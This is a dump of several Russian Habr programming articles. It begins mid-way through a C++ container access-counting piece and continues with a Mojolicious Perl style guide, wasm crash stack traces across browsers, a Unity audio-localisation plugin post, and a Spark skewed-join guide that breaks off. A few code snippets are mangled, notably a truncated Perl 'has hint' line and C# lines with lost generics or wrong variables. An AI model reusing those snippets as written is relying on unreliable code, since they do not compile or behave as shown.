cout << "Insert to list: read " << Mock::HasBeenRead() << " write " << Mock::HasBeenWritten() << endl;
```
Вывод на консоль:
```
Insert to list: read 1000 write 1000
```
В худшем случае, сложность поиска в линейном массиве O(n).
```
find(list.begin(), list.end(), Mock(999));
cout << "Find in list: read " << Mock::HasBeenRead() << " write " << Mock::HasBeenWritten() << endl;
```
Вывод на консоль:
```
Find in list: read 3000 write 1000
```
Вставка n элементов в бинарное сбалансированное дерево имеет сложность порядка O(n \*log\_2(n)). Не знаю, есть ли какое-то требование в стандарте С++ на этот счет, но в библиотеке STL от Microsoft, map реализован на основе бинарного сбалансированного дерева.
Посчитаем:
```
map map;
for(int i = 0; i < 1024; ++i)
map[Mock(i)] = i;
cout << "Insert to map 1024 items: read " << Mock::HasBeenRead() << " write " << Mock::HasBeenWritten() << endl;
```
Вывод на консоль:
```
Insert to map 1024 items: read 65704 write 2048
```
Что можно сказать по этому выводу: во-первых на один объект приходится две операции записи! Это может быть накладно для больших объектов без разделения состояния. Во-вторых, конечно, около 60 операций чтения на один объект вполне предсказуемы — log\_2(1024) = 10, но начинаешь ощущать масштаб и понимать, почему хэш-таблицы — это хорошо.
#### Может ли это пригодиться на практике?
Честно говоря, в моей практике было всего три случая, когда это действительно пригодилось, и то, два из них, были больше нужны для обнаружения проблемы, чем для самого теста.
1. Лет восемь назад мне пришлось отлаживать приложение на Qt 4.0. Проблема заключалась в следующем: при открытии определенной формы все приложение сильно начинало тормозить. Как только закрываешь форму — приложение работает нормально. Описанный в статье прием позволил мне выяснить, что в Qt 4.0 все элементы управления, которые могут получать и обрабатывать события, находятся в линейном списке. При возникновении события — оно проходит по всему списку. Конечно, если какой-то элемент управления решает, что он обработал сообщение, то сообщение по цепочке дальше не передается. Но, если желающих обработать сообщение не находится, то оно проходит через всю цепочку. Как например, событие о перемещении курсора мыши над приложением. Так вот, та форма, которая приводила к тормозам, состояла больше, чем из 400 элементов управления! Внешне форма напоминала таблицу из 20 столбцов и 20 строк, но это только внешне! Таблица была сэмулирована с помощью отдельных элементов управления.
2. Лет 5 назад к нам обратился новый клиент с примерно такой же жалобой, но это приложение было уже на библиотеке DevExpress под C#. К сожалению подзабыл детали — но проблема заключалась в том, что внутри библиотеки был компонент, который имел сложность порядка O(n^4), вместо O(n^2).
3. Серверная часть, одного из проектов, которым мы занимаемся в данный момент построена по [модели акторов](http://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%BE%D0%B2). Система получилась довольно сложной, поэтому, чтобы контролировать эффективность обработки входящих сообщений, используются тесты, которые подменяют оригинальное сообщение на специальное, которое подсчитывает доступ к полям сообщения.
|
https://habr.com/ru/post/206544/
| null |
ru
| null |
# Mojolicious Perl Style
Хочу описать стиль программирования на языке Perl, к которому я стремлюсь и который в основном перенял от современного web-фреймворка [Mojolicious](http://mojolicio.us/), но наверное много где еще применяется подобный. Мне кажется выработать правильный стиль кодинга — очень важно.
Пример 1:
Методы в одну строку.
Если обращение к каждому аргументу функции происходит лишь один раз, и порядок применения их в коде соответствует порядку переданных аргументов, то предлагается извлекать их с помощью стандартной функции *shift*, которая если вызывается без аргументов, по-умолчанию работает с массивом *@\_*, в котором хранятся все переданные аргументы функции, выталкивает первый аргумент из массива и возвращает его.
```
sub node { shift->tree->[0] }
#
sub parse { shift->_delegate(parse => shift) }
#
sub _tag { shift->new->tree(shift)->xml(shift) }
```
Пример 2:
Сначала извлекаем первый параметр, имя класса например, все остальные аргументы передаем другой функции и пусть она их обрабатывает.
```
sub tree { shift->_delegate(tree => @_) }
# т.е. может превратиться в это _delegate(tree => [], deep => 5) или это _delegate(tree => [], 5, 0)
sub log { shift->emit('message', lc shift, @_) }
```
Пример 3:
Тоже для метода в одну строчку.
Здесь происходит обращение к одному и тому же аргументу целых 3 раза, потому для доступа к аргументу используется прямое обращение к элементу массива аргументов $\_[0].
```
sub _instance { ref $_[0] ? $_[0] : $_[0]->singleton }
#
sub find { $_[0]->_collect(@{$_[0]->_css->select($_[1])}) }
```
Пример 4:
Объявлять переменную можно в условном однострочном блоке *if*, *else if* или *unless*, а затем в случае не выполнения условия, код продолжится дальше выполняться и новую объявленную переменную там затем можно будет использовать.
```
sub at {
my $self = shift;
return undef unless my $result = $self->_css->select_one(@_);
return _tag($self, $result, $self->xml);
}
```
Пример 5:
Объявление переменной и тут же ее использование в условии.
```
return '' if (my $tree = $self->tree)->[0] ne 'tag';
return $tree->[1] unless $type;
#
return if !(my $expires = delete $session->{expires}) && $expiration;
```
Пример 6:
Очень полезный модуль Mojo::EventEmitter, кстати точно такой же есть в Node JS, он там тоже один из ключевых модулей, выполняет такой же функционал, только по-моему в Mojolicious его код выглядит значительно проще и короче. Можно его использовать в своих проектах, которые даже не используют этот фреймворк. Его необходимо сделать базовым для своего модуля и его помощью можно добавлять методы для событий, а внутри какого-то своего метода их вызывать с помощью *emit*.
```
package Cat;
use Mojo::Base 'Mojo::EventEmitter';
# Emit events
sub poke {
my $self = shift;
$self->emit(roar => 3);
}
package main;
# Subscribe to events
my $tiger = Cat->new;
$tiger->on(roar => sub {
my ($tiger, $times) = @_;
say 'RAWR!' for 1 .. $times;
});
$tiger->poke;
```
Пример 7:
Устранение утечки памяти. Например в модуле Mojo::EventEmitter, есть метод *once*, который мог бы быть причиной утечки памяти, если бы не использовал функцию *weaken*.
Если вы имеете ссылку на функцию, которая сама как либо использует ту переменную, которая ссылается на нее (прямо или опосредовано) — тут надо применять *weaken* (Scalar::Util), иначе будет утечка памяти!
```
sub once {
my ($self, $name, $cb) = @_;
weaken $self;
my $wrapper;
$wrapper = sub {
$self->unsubscribe($name => $wrapper);
$cb->(@_);
};
$self->on($name => $wrapper);
weaken $wrapper;
return $wrapper;
}
# или вот
sub timeout {
my $self = shift;
#
weaken $self;
$self->{timer} = $reactor->timer($timeout => sub { $self->emit_safe('timeout')->close });
return $self;
}
```
Пример 8:
Срез массива.
```
$_ eq $child ? last : $i++ for @$parent[$i .. $#$parent];
```
Пример 9:
Можно выполнить одно и тоже действие для нескольких переменных в одной строке, указав их через запятую в цикле *for*.
```
s/\%20/\+/g for $name, $value;
```
Пример 10:
Присвоение одного значения сразу нескольким переменным. К тому же очень удобно значение переменной класса или значение хэша присвоить простой переменной, которая короче записывается и затем ее использовать в функции или блоке, проще например ее использовать при разыменовании ссылок на массив или хэш, без лишних фигурных скобок.
```
my $params = $self->{params} = [];
return $params unless length $str;
```
Пример 11:
Если в блоках *if*, *else if* или *else* код простой из одного выражения, то лучше и условие и блок записать в одной строчке.
```
if ($params->[$i] eq $name) { splice @$params, $i, 2 }
else { $i += 2 }
```
Пример 12:
Использование Mojo::Base в качестве базового для своего модуля. Подключает по умолчанию ряд прагм (модулей) таких как *strict*, *warnings*, *utf8* и новшества Perl 5.10
Добавляет нашему классу метод *has*, похожий стиль из Moose, котовый можно использовать для создания переменных класса, нижеуказанным способом.
Если конструктору класса передать хэш, как в последней строке примера, то он инициализирует переменные объекта.
```
package Foo;
use Mojo::Base -base;
has [qw(kept_alive local_address original_remote_address remote_port)];
# сразу несколько не инициализированных переменных класса в одной строке
has req => sub { Mojo::Message::Request->new };
has max => 4; # только числа и строки можно указывать без анонимной функции
has str => 'Hi!';
has list => sub { [] }; # ссылка на массив только через анонимную функцию
has dict => sub { {} }; # ссылка на хэш только через анонимную функцию
has hint => <new({kept\_alive =>$kept\_alive, local\_address => $local\_address});
```
Пример 13:
Метод базового класса, который необходимо переопределить в дочернем.
```
use Carp 'croak';
sub server_write { croak 'Method "server_write" not implemented by subclass' }
```
Пример 14:
Константы, несколько или одна.
```
use constant {
PC_BASE => 36,
PC_TMIN => 1,
PC_TMAX => 26
};
use constant PC_BASE => 36;
```
Пример 15:
Строку содержащую переменную внутри и двойные кавычки, лучше записать так.
```
die qq{Unknown command "$name", maybe you need to install it?\n}
unless $module;
#
sub quote {
my $str = shift;
$str =~ s/(["\\])/\\$1/g;
return qq{"$str"};
}
```
Пример 16:
Создание переменной хэша, а затем передача его в функцию. Большой хэш лучше создавать отдельно, а не прямо в аргументе анонимный, так удобней.
```
my $options = {
domain => $self->cookie_domain,
expires => $session->{expires},
httponly => 1,
path => $self->cookie_path,
secure => $self->secure
};
$c->signed_cookie($self->cookie_name, $value, $options);
```
Пример 17:
Если в однострочном блоке-условии создана переменная и планируется ее использовать в теле-блока, то это не получится сделать, она будет недоступна, потому надо переменную объявить до блока.
Во втором случае в примере при использовании созданной переменной в блоке используются фигурные скобки, так же показан там пример извлечения значения из хэша по ключу, если возможно хэш еще не создан.
// — оператор который возвращает истину, если одно из выражений определено, т.е. не равно *undef*.
```
my $new;
unless ($new = $self->_class($old, $field)) { return !!defined $new }
#
if (my $code = ($tx->req->error // {})->{advice}) { $res->code($code) }
#
my $stash = {};
if (my $sub = $tx->can('stash')) { ($stash, $tx) = ($tx->$sub, $tx->tx) }
```
Пример 18:
Выполнение одной и той же функции с разными аргументами, там где значения массива простые слова, лучше воспользоваться стандартной *qw* функцией, не надо отделять каждый элемент запятой, так короче и красивее.
Во втором случае в примере использование функции *qw* если слишком много элементова массива надо задать вручную, лучше разделить на несколько строк, через запятую и в каждой строке вызывать эту функцию.
```
$self->plugin($_)
for qw(HeaderCondition DefaultHelpers TagHelpers EPLRenderer EPRenderer);
#
my %NORMALCASE = map { lc($_) => $_ } (
qw(Accept Accept-Charset Accept-Encoding Accept-Language Accept-Ranges),
qw(Allow Authorization Cache-Control Connection Content-Disposition),
# ...
);
# если необходимо использовать созданную переменную с блоке
for my $name (qw(app flash param stash session url_for validation)) {
$app->helper($name => sub { shift->$name(@_) });
}
```
Пример 19:
Часто используется такая конструкция условия, если первое истина, а второе ложь, чтобы не выполнялось второе условие, если первое ложь. Во втором выражении примера создается переменная *$class*, если она не пустая, а второе выражение ложное, то выходим из функции, если второе выражение истина, то продолжаем выполнение и в этом коде сможем воспользоваться этой переменной.
```
return $self->emit(read => $chunk)
unless $self->is_compressed && $self->auto_relax;
#
return unless (my $class = ref $self || $self) && $attrs;
#
return unless $self->cleanup && defined(my $path = $self->path);
```
Пример 20:
Написание однострочных выражений, которые не помещаются даже на двух строчках.
```
warn
qq/Problem loading URL "@{[$tx->req->url->to_abs]}". ($err->{message})\n/
if $err && !$err->{code};
#
$app->helper($_ => $self->can("_$_"))
for qw(accepts content content_for csrf_token current_route delay),
qw(inactivity_timeout is_fresh url_with);
#
return $self->error(
{message => 'Maximum buffer size exceeded', advice => 400})
if $self->content->is_limit_exceeded;
```
Пример 21:
Использование eval напрмер для проверки существования модуля.
```
eval "use Mojolicious::Lite; 1" or die $@;
#
use constant IPV6 => $ENV{MOJO_NO_IPV6}
? 0
: eval 'use IO::Socket::IP 0.20 (); 1';
```
Пример 22:
Добавление нового метода для класса, *no strict* и *no warnings* действуют только локально, в функции или блоке. Так же стоит отметить, что символические ссылки работают только с глобальными переменными, что нам и надо тут.
```
sub monkey_patch {
my ($class, %patch) = @_;
no strict 'refs'; # позволить использовать символические ссылки
no warnings 'redefine'; # не выводим ворнинг, если происходит переопределение метода
*{"${class}::$_"} = $patch{$_} for keys %patch;
}
```
Пример 23:
Модуль ojo.pm, созданный специально, чтоб использовать в консоле, писать небольшие классные однострочники. Опция -M подключает модуль и получается таким образом имя фреймворка -Mojo. Там собраны некоторые функции, в методе import, через вышеописанную функцию *monkey\_patch* добавляются. И теперь, как в конце примера показано, можно получить заголовок любого сайта например, тут получаем заголовок официального сайта Mojolicious или заголовки постов на главной habrahabr.ru.
```
package ojo;
#
sub import {
#
monkey_patch $caller,
# ...
g => sub { _request($ua, 'GET', @_) },
# ...
x => sub { Mojo::DOM->new(@_) };
# из консоли, заголовок сайта
perl -Mojo -E 'say g("mojolicio.us")->dom->at("title")->text'
# заголовки постов на главной habrahabr.ru
perl -Mojo -C -E 'g("habrahabr.ru")->dom->find("a.post_title")->each(sub{ say $_->text })'
```
Пример 24:
Вызов функции для каждого элемента коллекции, элемент доступен как первый аргумент функции либо через *$\_* тут, как и в примере выше со списком заголовков постов. Хочется подчеркнуть, особенность в том, что сделано так, чтобы каждый элемент был доступен через *$\_*, это удобно. Точно так же как в стандартных функциях *grep*, *map*.
```
package Mojo::Collection;
#
sub each {
my ($self, $cb) = @_;
return @$self unless $cb;
my $i = 1;
$_->$cb($i++) for @$self;
return $self;
}
#
$dom->find('p[id]')->each(sub { say $_->{id} });
```
Пример 25:
Создание рандомного уникального значения среди ключей хэша. Также создания хэша, если он еще не создан, и так же как в примере выше, присвоение простой локальной переменной, для того чтобы проще его использовать в блоке или функции.
```
my $timers = $self->{timers} //= {};
my $id;
do { $id = md5_sum('t' . steady_time . rand 999) } while $timers->{$id};
```
Пример 26:
Комментарий перед блоком *else* или *else if*.
```
}
# New socket
else {
```
Пример 27:
Использование функции *shift* в качестве ключа хэша, необходимо вызывать ее со скобками, иначе будет воспринята как строка *«shift»*.
Также для напоминания, если кто забыл, в этом примере обращение сразу же к нескольким элементам хэша, удаление сразу же нескольких ключей.
```
sub reset { delete @{shift()}{qw(io poll timers)} }
#
sub get { (shift->{cache} || {})->{shift()} }
```
Пример 28:
Перегрузка операций для работы с данным объектом, *fallback => 1* нужно, если перегруженная операция не определена, чтобы не выскакивала ошибка и чтобы был поиск подходящей операции.
```
package Mojo::Collection;
use Mojo::Base -strict;
use overload
bool => sub { !!@{shift()} },
'""' => sub { shift->join("\n") },
fallback => 1;
# пример использования перегруженных операций
my $collection = Mojo::Collection->new(qw(just works));
say $collection;
say "empty" unless $collection;
```
Пример 29:
В блоке-условии *for*, возможно ссылки на хэш нету.
```
$self->_finish($_, 1) for keys %{$self->{connections} || {}};
```
Пример 30:
Перенос длинного выражения с присваиванием на другую строку.
```
my $stream
= $self->_loop($c->{nb})->stream($id)->timeout($self->inactivity_timeout);
```
Пример 31:
Отличие *return* от *return undef*. Просто *return* вернут в контексте списка пустой список, в скалярном контексте вернет *undef*. В то время как *return undef* в любом контексте вернет *undef*.
```
return undef if $self->tree->[0] eq 'root';
#
return unless defined $lines->[0][$num - 1];
# свои примеры не верного использования
sub foo { return undef }
if (my @x = foo()) { print "oops, we think we got a result"; }
#
sub foo { return }
%x = ('foo' => foo(), 'bar' => 'baz');
if (!exists $x{'bar'}) { print "oops, bar became a value, not a key"; }
```
Пример 32:
Преобразование любого типа к булевому.
```
sub has_data { !!keys %{shift->input} }
```
Ну вот как-то так, самые интересные куски кода привел тут, если кому интересно, надо полистать на [GitHub](https://github.com/kraih/mojo) еще. И если свой код подводить к такому, то должно наверное получиться хорошее приложение.
|
https://habr.com/ru/post/233991/
| null |
ru
| null |
# C++ креши в WebAssembly на разных браузерах
Заметка задумывалась как продолжение [предыдущей](https://habrahabr.ru/post/333448/) заметки о том, как собираем C++ креши на различных платформах включая asm.js и wasm. По количеству материала, это тянет только на заметку, а не полноценную статью, да и нужно быть наркоманом, что бы делать нативный клиент на C++, а потом засовывать его в браузер.
Но! Мы недавно делали доклад об опыте использования wasm на [cppconf](http://cppconf.ru/talks/pavel-bulatov). Оказалось, что наркоманов больше чем я думал, да и новость [Beta for Qt for WebAssembly Technology Preview](http://blog.qt.io/blog/2018/04/23/beta-qt-webassembly-technology-preview/). Данная заметка может быть полезна, если вы захотите сделать отлов крешей в production окружении.
Под катом:
* отлов падений в asm.js и wasm;
* как выглядит стек вызовов в Safari, Firefox, Chrome.
### Отлов падений С++ кода в asm.js и wasm.
Отлов происходит через глобальный обработчик [window.onerror](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onerror).
```
window.onerror = function(messageOrEvent, source, lineno, colno, error) { ... }
```
В **asm.js** сообщение об ошибке и стек вызовов передается в параметре `messageOrEvent`. В случае **wasm** в `messageOrEvent` причина, что-нибудь типа `Error: Out of bounds memory access (evaluating 'dynCall(rawFunction, a1, a2, a3)')`, `RuntimeError: index out of bounds` и т.д
А в `error` попадает стек вызовов.
### Стек
Мы используем ключ `--emit-symbol-map` при компиляции, что минимизирует имена функций. После компиляции получаем так называемые файлы символов.
Так выглядит файл символов для asm.js:
```
ljd:___cxx_global_array_dtor_11639
YZb:___cxx_global_array_dtor_40_30909
Ya:_glClearStencil
```
Для wasm это номер функции и имя функции:
```
14:_glStencilFunc
15:_glUniformMatrix4fv
16:_emscripten_set_touchend_callback
17:_glGenRenderbuffers
18:_emscripten_set_webglcontextlost_callback
19:_glUniform2fv
```
Стек в разных браузерах выглядит по своему
Safari:
```
wasm function: 5960@[wasm code]
wasm function: 5984@[wasm code]
wasm function: 5981@[wasm code]
wasm function: 1233@[wasm code]
wasm function: 1232@[wasm code]
wasm function: 34895@[wasm code]
wasm function@[wasm code]
dynCall_viii@[native code]
```
Firefox:
```
wasm-function[5960]@https://path_to_source
wasm-function[5984]@https://path_to_source
wasm-function[5981]@https://path_to_source
wasm-function[1233]@https://path_to_source
wasm-function[1232]@https://path_to_source
wasm-function[34895]@https://path_to_source
dynCall_viii_419@https://path_to_source
```
Chrome:
```
at wasm-function[2007]:11
at wasm-function[11257]:228
at wasm-function[11606]:479
at wasm-function[11604]:1726
at wasm-function[11819]:91
at wasm-function[9055]:274
at wasm-function[9052]:26
at wasm-function[2721]:92
at wasm-function[1302]:2523
at wasm-function[4946]:69
```
Chrome выдает не только номер функции *2007*, но и смещение в ней *11*. Так же chrome позволяет просматривать код в текстовом виде. На снимке экрана код 276 функции.
Это бывает полезно, например если выстрелил *undefined behavior* .
Остается только вытащить номера функций, сопоставить с функциями в файле, пропустить через `abi::__cxa_demangle`, что-бы получить читаемый стек вызовов.
|
https://habr.com/ru/post/343784/
| null |
ru
| null |
# Система озвучки для игр (с плагином для Unity)
Наша маленькая команда сделала игру AirHockeyVR под Oculus Quest, в ней есть обучение на английском языке, которое записал ютюбер, который сначала записал видео про игру -> мне понравился его голос -> я попросил его сделать озвучку -> он согласился и записал.
Дальше я начал смотреть, как Unity предполагает программировать локализацию звуков - и хоть решение есть, оно не удобное и не подразумевает заливку новых звуков по мере их поступления без ребилда игры. Поэтому я написал свое решение (аналогично тому решению, где вы можете хранить переводы в гугл таблицах, только тут не тексты, а звуки).
Вот что вам понадобится:
<https://audio.sa-wd.ru/> - тут заливать звуки
<https://audio.sa-wd.ru/storage/package/SAWDAudioManager.unitypackage> - плагин для Unity
Общая идея очень простая: у вас уже есть игра, в ней уже есть звуки, а значит много переделывать вам не хочется.
И не надо.
Что бы звуки грузились в игру, вы просто подписываетесь на делегат в SAWDAudioManager когда вам нужно получить звуки (делегат возвращает наборы звуков по тэгу), и отписываетесь когда они вам больше не нужны.
```
public class SAWDAudioSourceHelper : MonoBehaviour
{
public string sound_subTag = "";
void OnEnable()
{
SAWDAudioManager.SubscribeOnAudioLoad("Какой-то тэг с сайта(не сабтэг!)", ApplyNewAudios);
}
void OnDisable()
{
SAWDAudioManager.UnsubscribeAudioLoad("Какой-то тэг с сайта(не сабтэг!)", ApplyNewAudios);
}
private async void ApplyNewAudios(List audios)
{
foreach (var audio in audios)
{
if (audio.sub\_tag.title == sound\_subTag)
{
source.clip = await audio.GetClip();
Debug.Log("Applied helper sub:"+audio.clip);
break;
}
}
source.Play();
}
}
```
Для случаев, когда у вас один AudioSource с одним звуком - докидываете хелпер, в котором указываете тэг [и сабтэг, опционально] звука.
Смотрим в нижний правый угол! (SAWDAudioSourceHelper.cs)
Предполагается так: только тег - это набор звуков, один созданный звук на сайте может быть перезалит набором звуков (для примера - это звук удара шайбы). Если есть сабтэг - значит это один звук, который заменяется один на один (для примера - это фраза "добро пожаловать!").
Так же потребуется капля работы с дизайном что бы можно было выбирать необходимые звуковые пакеты. Пример сцены есть в unitypackage. Можно не использовать, а просто вызвать загрузку других пакетов любым удобным вам способом.
```
public void Apply() {
int[] audioPackageIDS = [1,6,9]; // ID пакетов с сайта
string audio_package_ids = string.Join(",", audios);
SAWDAudioManager.s_instance.UpdateAudioPackageIds(audio_package_ids);
}
```
Да, оно хочет строку из ID пакетов через запятую.
Как только новые звуки будут загружены - делегаты пробросят ивент с новыми звуками во все подписанные места.
Само собой, вы можете подписываться на теги только там, где хотите иметь возможность менять звук на другой.
В AirHockeyVR я подписался на изменения звуков обучения, написал в нашем дискорде, и нашелся француз, который записал для нас французский перевод - так что идея вполне работает :)
Так же я попросил своего друга записать перевод на русский язык.
И вообще любой человек или группа людей может записать перевод для вашей игры - и сразу же добавить его в релизную версию (разработчик всё еще должен будет заапрувить этот аудиопакет, иначе он не появится в игре).
Проект в альфа-релизе, но уже пора пробовать - я морально готов к допилам на основе комментариев :)
|
https://habr.com/ru/post/672116/
| null |
ru
| null |
# Пять советов по исправлению перекошенных соединений в Apache Spark
Соединения (Joins) являются одними из наиболее фундаментальных преобразований в типичной процедуре обработки данных. [`Оператор Join`](https://dzone.com/articles/database-fundamentals-21-using-the-join-operator-o) позволяет коррелировать, обогащать и фильтровать два входных набора (пакета / блока) данных ([Datasets](https://spark.apache.org/docs/latest/api/java/index.html?org/apache/spark/sql/Dataset.html)).
> Обычно два входных набора данных классифицируются как левый и правый на основе их расположения по отношению к пункту/оператору `Join`.
По сути, соединение работает на основе условного оператора, который включает [логическое выражение](https://ru.wikipedia.org/wiki/%D0%9B%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5), основанное на сравнении между левым ключом, полученным из записи левого блока данных, и правым ключом, полученным из записи правого комплекса данных. Левый и правый ключи обычно называются соединительными ключами (Join Keys). Логическое выражение оценивается для каждой пары записей из двух входных наборов данных. На основе логического вывода, полученного в результате оценки выражения, условный оператор включает условие выбора — для отбора либо одной из записей (из пары), либо комбинированной записи (из записей, образующих пару).
**Применение соединений к перекошенным наборам данных**: блок данных считается перекошенным для операции соединения, если распределение соединительных ключей по записям в наборе перекошено в сторону их небольшого подмножества. Например, когда 80% записей в блоке данных вносят вклад только в 20% соединительных ключей.
**Воздействие перекошенных наборов данных на соединения**: перекошенные пакеты данных, если не обрабатывать их должным образом, могут привести к появлению отсечек на этапе соединения (для подробной информации вы можете ознакомиться с [этой статьёй](https://dzone.com/articles/identify-and-resolve-stragglers-in-your-spark-appl)). Это снижает [общую эффективность выполнения задач в Spark](https://dzone.com/articles/improving-the-performance-of-your-spark-job-on-ske). Кроме того, перекошенные комплексы данных могут вызвать перерасход памяти на некоторых исполнителях ([Executors](https://www.educba.com/spark-executor/)), что, в свою очередь, может привести к полному сбою выполнения задачи Spark. Поэтому так важно своевременно выявлять и решать проблемы на этапах, основанных на соединениях ([Stages](https://data-flair.training/blogs/spark-stage/)), куда обычно вовлечены самые большие перекошенные наборы данных.
**Методы работы с перекошенными соединениями**: До этого момента вы наверняка уже встречали много разрозненной информации о том, как работать с перекошенными соединениями (Skewed Joins), но в основном — в ней акцентируют внимание лишь на одной или двух методиках и при этом очень кратко описывают все подробности и ограничения. С учётом такого поверхностного описания в общедоступных источниках, данная статья является попыткой предоставить вам полный и исчерпывающий список из пяти важных техник для работы с перекошенными соединениями во всех возможных сценариях.
Транслируемое хеш-соединение
----------------------------
При транслируемом хеш-соединении (Broadcast Hash Join) исполнителю передаётся либо левый, либо правый входной набор данных. [Транслируемое хеш-соединение невосприимчиво к перекошенным входным пакетам данных](https://dzone.com/articles/improving-the-performance-of-your-spark-job-on-ske). Это связано с тем, что разбиение в соответствии с соединительными ключами не является обязательным для левого и правого блока данных. В данном случае один из наборов данных будет транслироваться, а другой — может быть соответствующим образом разделён для достижения равномерного параллелизма при любом требуемом масштабе.
Spark выбирает транслируемое хеш-соединение на основе типа соединения и размера входного набора(-ров) данных. Если тип соединения благоприятен, а размер транслируемого блока остаётся ниже настраиваемого предела (`spark.sql.autoBroadcastJoinThreshold` (по умолчанию 10 МБ)), то для выполнения соединения выбирается транслируемое хеш-соединение. Поэтому если вы увеличите предел `spark.sql.autoBroadcastJoinThreshold` до большего значения, то будет выбрано только транслируемое хеш-соединение.
> Можно также использовать транслируемые подсказки ([hints](https://spark.apache.org/docs/3.0.0/sql-ref-syntax-qry-select-hints.html)) в SQL-запросах на любом из входных наборов данных на основе типа соединения, чтобы заставить Spark использовать транслируемое хеш-соединение независимо от значения `spark.sql.autoBroadcastJoinThreshold`.
Поэтому, если есть возможность выделить память для исполнителей, для выполнения более быстрого перекошенного соединения — следует использовать метод транслируемого хеш-соединения.
Вот несколько важных моментов, которые необходимо учесть при использовании метода транслируемого хеш-соединения:
* Метод неприменим для полного внешнего соединения ([Full Outer Join](https://dzone.com/articles/sql-joins-tutorial-with-examples)).
* Для внутреннего соединения (Inner Join) память исполнителя должна вмещать, по крайней мере, меньший из двух входных наборов данных.
* Для левого, анти-левого и полу-левого соединений (Left, Left Anti, Left Semi Join) память исполнителя должна вмещать правый входной набор данных, так как правый должен транслироваться.
* Для правого, анти-правого и полу-правого соединений (Right, Right Anti, Right Semi Join) память исполнителя должна вмещать левый входной набор данных, так как левый должен транслироваться.
* Также существует [значительная потребность в доступной памяти](https://dzone.com/articles/common-reasons-your-spark-applications-are-slow-or) для исполнителей в зависимости от размера транслируемого набора данных.
Итеративное транслируемое соединение
------------------------------------
Техника итеративной трансляции (Iterative Broadcast) — это адаптация соединения транслируемого хеша для работы с большими наборами перекошенных данных. Она полезна в ситуациях, когда ни один из входных блоков данных не может быть передан исполнителям. Это может произойти из-за ограничений на память у исполнителей.
Чтобы справиться с такими сценариями, техника итеративной трансляции разбивает один из наборов входных данных (предпочтительно меньший) на один или несколько более мелких фрагментов, обеспечивая тем самым простоту трансляции каждого из полученных фрагментов. Затем эти меньшие куски соединяются один за другим с другими не разбитыми пакетами входных данных с помощью стандартного метода соединения транслируемого хеша. Выходы из этих множественных соединений в конечном итоге объединяются вместе с помощью оператора объединения [`Union`](https://sparkbyexamples.com/spark/spark-dataframe-union-and-union-all/) для получения конечного результата.
Один из способов разбиения комплекса данных на более мелкие фрагменты заключается в присвоении случайного числа из желаемого количества фрагментов каждой записи набора данных в новом добавленном столбце `chunkId`. Как только этот новый столбец готов, запускается цикл [`for`](https://stackoverflow.com/questions/59487851/efficiently-running-a-for-loop-in-apache-spark-so-that-execution-is-parallel) для итерации номеров чанков. Для каждой итерации записи сначала фильтруются по столбцу `chunkId`, соответствующему номеру чанка текущей итерации. Затем с помощью стандартного метода транслируемого хеш-соединения и для получения частично соединённого вывода — отфильтрованный набор данных в каждой итерации соединяется с другим не разбитым входным комплексом. Далее, полученный, частично соединённый вывод объединяется с предыдущим, частично соединённым выводом. После выхода из цикла получается общий результат операции соединения двух исходных комплектов данных.
Эта техника показана ниже на рисунке 1:
 *Рисунок 1: Реализация итеративного транслируемого хеш-соединения*
> Однако, в отличие от транслируемого хеш-соединения, итеративное транслируемое соединение ограничено только внутренними соединениями. Оно не может обрабатывать полные внешние, левые и правые соединения. Однако для внутренних соединений оно может обрабатывать перекос в обоих наборах данных.
Соединение по методу «засоленного» сортировочного слияния
---------------------------------------------------------
*Прим. переводчика: В Apache Spark «соль» (Salt) добавляет случайные значения для равномерного распределения данных по разделам.*
Подход сортировочного слияния (Sort Merge) очень надёжен при обработке соединений в случае нехватки ресурсов. Продолжая эту идею — так называемая «засоленная» версия сортировочного слияния может очень эффективно применяться в тех случаях, когда необходимо соединить большой перекошенный набор данных с небольшим и неперекошенным блоком данных, но есть некоторые ограничения по памяти у исполнителя.
Кроме того, засоленная версия сортировочного слияния (Salted Sort Merge) может также использоваться для выполнения левого соединения небольших и неперекошенных наборов данных с большим и перекошенным пакетом данных, что невозможно при использовании транслируемого хеш-соединения, даже если меньший блок может быть передан исполнителям. Однако, чтобы убедиться, что Spark выберет именно соединение по методу сортировочного слияния, необходимо отключить подход транслируемого хеш-соединения. Это можно сделать, установив для параметра `spark.sql.autoBroadcastJoinThreshold` значение `-1`.
Работа соединения на основе засоленного сортировочного слияния в некотором роде похожа на транслируемое хеш-соединение. В один из перекошенных входных пакетов данных вводится дополнительный столбец `salt key`. После этого для каждой записи случайным образом назначается число из выбранного диапазона значений «солевых ключей» для столбца `salt key`.
После засолки перекошенного набора входных данных запускается цикл перебора значений солевого ключа в выбранном диапазоне. Для каждого значения солевого ключа, итерируемого в цикле, засоленный набор входных данных сначала фильтруется для итерируемого значения солевого ключа и после фильтрации — засоленный и уже отфильтрованный комплект входных данных объединяется с другим незасоленным блоком для получения частичного объединённого вывода. Для получения окончательного объединённого вывода все частично объединённые выводы объединяются вместе с помощью оператора объединения `Union`.
Для засоленного сортировочного слияния существует также и альтернативный подход. При его использовании для каждого значения солевого ключа, итерируемого в цикле, второй неискажённый входной набор данных обогащается текущим итерируемым значением ключа соли путём повторения того же значения в новом столбце со значением «соль» `salt` для получения частичного обогащённого солью пакетом данных. Все эти частично обогащённые наборы данных объединяются с помощью оператора объединения `Union`, чтобы получить комбинированную версию второго неискажённого блока данных, обогащённого солью. После этого первый перекошенный засоленный набор данных объединяется со вторым обогащённым солью пакетом данных для получения окончательного объединённого результата.
Этот подход показан ниже на рисунке 2:
 *Рисунок 2: Реализация соединения по методу «засоленного» сортировочного слияния*
Засоленное сортировочное слияние также имеет ещё один альтернативный подход. В этом подходе после засолки перекошенного входного набора данных дополнительным столбцом «солевого ключа» в несолёный и неперекошенный блок данных также вводится столбец «соли». Колонка `salt` содержит фиксированное значение (по всем записям), равное массиву, составленному из всех значений солевых ключей в ранее выбранном диапазоне. Затем этот комплекс взрывается по столбцу `salt`. [Взорванный пакет данных](https://sparkbyexamples.com/spark/explode-spark-array-and-map-dataframe-column/) затем объединяется с предыдущим солёным перекошенным входным набором данных с дополнительным условием объединения по равенству `salt` и `salt key` для получения окончательного объединённого результата.
